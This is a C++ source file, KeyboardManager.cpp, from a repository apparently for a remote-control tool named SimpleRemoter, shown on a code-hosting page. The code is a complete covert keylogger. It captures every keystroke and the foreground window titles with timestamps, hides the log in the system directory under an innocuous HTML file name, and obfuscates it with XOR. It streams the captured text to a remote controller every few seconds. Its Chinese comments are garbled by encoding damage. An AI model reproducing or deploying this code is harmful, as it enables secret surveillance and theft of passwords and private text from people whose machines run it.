admin/SimpleRemoter
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity
Files
0ec02402e3ce14c47252c15769bde5f34510a4f8
SimpleRemoter/client/KeyboardManager.cpp

506 lines
15 KiB
C++
Raw Normal View History

feature: Add keyboard record feature
2025-01-31 22:22:16 +08:00
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "KeyboardManager.h"
#include <tchar.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
#include <iostream>
#include <winbase.h>
#include <winuser.h>
using namespace std;
#define FILE_PATH "\\MODIf.html"
#define CAPTION_SIZE 1024
Improve screen spy efficiency with DXGI
2025-03-13 23:34:33 +08:00
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
feature: Add keyboard record feature
2025-01-31 22:22:16 +08:00
{
sendStartKeyBoard();
WaitForDialogOpen();
sendOfflineRecord();
GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
lstrcat(m_strRecordFile, FILE_PATH);
m_bIsWorking = true;
dKeyBoardSize = 0;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendData,(LPVOID)this,0,NULL);
}
CKeyboardManager1::~CKeyboardManager1()
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hSendThread, INFINITE);
CloseHandle(m_hWorkThread);
CloseHandle(m_hSendThread);
}
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == COMMAND_NEXT)
NotifyDialogIsOpen();
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
}
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
DeleteFile(m_strRecordFile);
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
dKeyBoardSize = 0;
}
}
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)true;
return Send((LPBYTE)&bToken[0], sizeof(bToken));
}
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
{
int nRet = -1;
DWORD dwBytesLength = 1 + nSize;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
memcpy(lpBuffer + 1, lpData, nSize);
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
LocalFree(lpBuffer);
return nRet;
}
int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
{
int nRet = 0;
DWORD dwSize = 0;
DWORD dwBytesRead = 0;
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
dwSize = GetFileSize(hFile, NULL);
dKeyBoardSize = dwSize;
if (0 != dwRead) {
SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
dwSize -= dwRead;
}
TCHAR *lpBuffer = new TCHAR[dwSize];
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
// <20><><EFBFBD><EFBFBD>
for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
lpBuffer[i] ^= '`';
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
delete[] lpBuffer;
}
CloseHandle(hFile);
return nRet;
}
string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
{
string KeyString = "";
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
if(Key >=186 && Key <=222) {
switch(Key) {
case 186:
if(IS)
KeyString = ":";
else
KeyString = ";";
break;
case 187:
if(IS)
KeyString = "+";
else
KeyString = "=";
break;
case 188:
if(IS)
KeyString = "<";
else
KeyString = ",";
break;
case 189:
if(IS)
KeyString = "_";
else
KeyString = "-";
break;
case 190:
if(IS)
KeyString = ">";
else
KeyString = ".";
break;
case 191:
if(IS)
KeyString = "?";
else
KeyString = "/";
break;
case 192:
if(IS)
KeyString = "~";
else
KeyString = "`";
break;
case 219:
if(IS)
KeyString = "{";
else
KeyString = "[";
break;
case 220:
if(IS)
KeyString = "|";
else
KeyString = "\\";
break;
case 221:
if(IS)
KeyString = "}";
else
KeyString = "]";
break;
case 222:
if(IS)
KeyString = '"';
else
KeyString = "'";
break;
}
}
//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
KeyString = "[Esc]";
else if (Key == VK_F1) // F1<46><31>F12
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
KeyString = "[PrScrn]";
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[Scroll Lock]";
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
KeyString = "[Pause]";
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
KeyString = "[Caps Lock]";
//-------------------------------------//
//<2F><><EFBFBD>Ƽ<EFBFBD>
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
KeyString = "[Backspace]";
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
KeyString = " ";
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD>򣬿<EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
/*
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
KeyString = "[Shift]";
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
KeyString = "[SHIFT]";
*/
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
KeyString = "[Tab]";
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
KeyString = "[Ctrl]";
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
KeyString = "[CTRL]";
else if (Key == VK_LMENU) // <20>󻻵<EFBFBD><F3BBBBB5><EFBFBD>
KeyString = "[Alt]";
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[ALT]";
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
KeyString = "[Win]";
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
KeyString = "[WIN]";
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
KeyString = "<EFBFBD>Ҽ<EFBFBD>";
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
KeyString = "[Insert]";
else if (Key == VK_DELETE) // ɾ<><C9BE>
KeyString = "[Delete]";
else if (Key == VK_HOME) // <20><>ʼ
KeyString = "[Home]";
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
KeyString = "[End]";
else if (Key == VK_PRIOR) // <20><>һҳ
KeyString = "[PgUp]";
else if (Key == VK_NEXT) // <20><>һҳ
KeyString = "[PgDown]";
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
else if (Key == VK_CANCEL) // Cancel
KeyString = "[Cancel]";
else if (Key == VK_CLEAR) // Clear
KeyString = "[Clear]";
else if (Key == VK_SELECT) //Select
KeyString = "[Select]";
else if (Key == VK_PRINT) //Print
KeyString = "[Print]";
else if (Key == VK_EXECUTE) //Execute
KeyString = "[Execute]";
//----------------------------------------//
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
KeyString = "[<5B><>]";
else if (Key == VK_RIGHT)
KeyString = "[<5B><>]";
else if (Key == VK_UP)
KeyString = "[<5B><>]";
else if (Key == VK_DOWN)
KeyString = "[<5B><>]";
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
KeyString = "[NumLock]";
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK_MULTIPLY)
KeyString = "*";
else if (Key == VK_DIVIDE)
KeyString = "/";
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
KeyString = ".";
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
else if (Key == VK_NUMPAD0)
KeyString = "0";
else if (Key == VK_NUMPAD1)
KeyString = "1";
else if (Key == VK_NUMPAD2)
KeyString = "2";
else if (Key == VK_NUMPAD3)
KeyString = "3";
else if (Key == VK_NUMPAD4)
KeyString = "4";
else if (Key == VK_NUMPAD5)
KeyString = "5";
else if (Key == VK_NUMPAD6)
KeyString = "6";
else if (Key == VK_NUMPAD7)
KeyString = "7";
else if (Key == VK_NUMPAD8)
KeyString = "8";
else if (Key == VK_NUMPAD9)
KeyString = "9";
//-------------------------------------------//
//-------------------------------------------//
//*<2A><><EFBFBD><EFBFBD>ĸ<EFBFBD>Ĵ<EFBFBD>Сд<D0A1><D0B4><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>*//
else if (Key >=97 && Key <= 122) { // <20><>ĸ:a-z
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
if(IS) //Shift<66><74><EFBFBD><EFBFBD>:ΪСд<D0A1><D0B4>ĸ
KeyString = Key;
else // ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>ĸ
KeyString = Key - 32;
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(IS) // <20><><EFBFBD><EFBFBD>Shift<66><74>: <20><>д<EFBFBD><D0B4>ĸ
KeyString = Key - 32;
else // û<>а<EFBFBD>Shift<66><74>: Сд<D0A1><D0B4>ĸ
KeyString = Key;
}
} else if (Key >=48 && Key <= 57) { // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:0-9<><39><EFBFBD>Ϸ<EFBFBD><CFB7>ķ<EFBFBD><C4B7><EFBFBD>
if(IS) {
switch(Key) {
case 48: //0
KeyString = ")";
break;
case 49://1
KeyString = "!";
break;
case 50://2
KeyString = "@";
break;
case 51://3
KeyString = "#";
break;
case 52://4
KeyString = "$";
break;
case 53://5
KeyString = "%";
break;
case 54://6
KeyString = "^";
break;
case 55://7
KeyString = "&";
break;
case 56://8
KeyString = "*";
break;
case 57://9
KeyString = "(";
break;
}
} else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON) {
if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z
if (GetKeyState(VK_CAPITAL)) { // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>A-Z
if(IS) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ұ<EFBFBD><D2B0><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD><EFBFBD>ΪСд<D0A1><D0B4>ĸ
KeyString = Key + 32;
else //ֻ<>д<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>:<3A><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>д<EFBFBD><D0B4>ĸ
KeyString = Key;
} else { // <20><>дû<D0B4><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:a-z
if(IS) {
KeyString = Key;
} else {
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwBytesWrite = 0;
DWORD dwSize = GetFileSize(hFile, NULL);
if (dwSize < 1024 * 1024 * 50)
SetFilePointer(hFile, 0, 0, FILE_END);
// <20><><EFBFBD><EFBFBD>
int nLength = lstrlen(lpBuffer);
TCHAR* lpEncodeBuffer = new TCHAR[nLength];
for (int i = 0; i < nLength; i++)
lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
CloseHandle(hFile);
delete [] lpEncodeBuffer;
return;
}
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
{
HWND hFocus = GetForegroundWindow();
BOOL ReturnFlag = FALSE;
if (hFocus != PreviousFocus) {
if (lstrlen(WindowCaption) > 0) {
if (hasData) {
SYSTEMTIME s;
GetLocalTime(&s);
wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
}
memset(WindowCaption, 0, CAPTION_SIZE);
ReturnFlag=TRUE;
}
PreviousFocus = hFocus;
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
}
return ReturnFlag;
}
DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
{
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
while(pThis->m_bIsWorking) {
DWORD dwSize =0;
HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
dwSize = GetFileSize(hFile, NULL);
}
CloseHandle(hFile);
if (pThis->dKeyBoardSize != dwSize) {
pThis->sendOfflineRecord(pThis->dKeyBoardSize);
}
Sleep(3000);
}
return 0;
}
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
{
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
TCHAR KeyBuffer[2048] = {};
TCHAR szText[CAPTION_SIZE] = {};
TCHAR WindowCaption[CAPTION_SIZE] = {};
HWND PreviousFocus = NULL;
while(pThis->m_bIsWorking) {
Sleep(5);
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
bool newWindowInput = strlen(szText);
if (newWindowInput){// <20><><EFBFBD>µĴ<C2B5><C4B4><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
lstrcat(KeyBuffer, szText);
memset(szText, 0, sizeof(szText));
}
if (lstrlen(KeyBuffer) > 0) {
if (!newWindowInput)
lstrcat(KeyBuffer, _T("\r\n"));
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
SaveToFile(pThis->m_strRecordFile, KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
}
}
for(int i = 8; i <= 255; i++) {
if((GetAsyncKeyState(i)&1) == 1) {
string TempString = GetKey (i);
lstrcat(KeyBuffer,TempString.c_str());
}
}
}
return 0;
}
Reference in New Issue Copy Permalink